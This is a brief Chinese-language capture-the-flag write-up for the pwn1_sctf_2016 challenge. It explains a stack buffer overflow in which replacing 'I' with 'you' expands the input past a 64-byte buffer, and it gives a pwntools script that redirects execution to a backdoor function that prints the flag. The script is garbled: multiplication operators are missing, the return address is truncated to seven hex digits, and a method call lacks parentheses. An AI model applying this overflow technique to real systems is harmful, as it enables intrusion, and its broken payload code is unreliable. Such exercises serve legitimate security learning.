pwn1_sctf_2016 1
这题对我来说知识的难点有两个。一个是栈的内存分析,一个是replace函数。
用ida pro打开,跟踪到main函数。

首先可以看到fgets函数是设了上限的,32个字节,但是看到s,这里记录一下,-3c是把栈底往下调了3c个字节,可以看出栈的空间给了64个字节
再看到reaplace函数,大概就是把“I"改成了"you"。这个是干什么用呢,首先,64个字节的空间,只让输入32个字节是溢出不了的。但是这个replace函数修改了字符"I",现在它有了三个字节。那么就可以溢出了。

再检索一下字符串,发现有cat flag.txt的字符串。后门函数也找到了。写脚本
from pwn import*
p=remote("_____",---)
payload="I"21+"A"1+p32(0x080497F)
p.sendline(payload)
p.interactive
然后就可以在linux下得flag了

浙公网安备 33010602011771号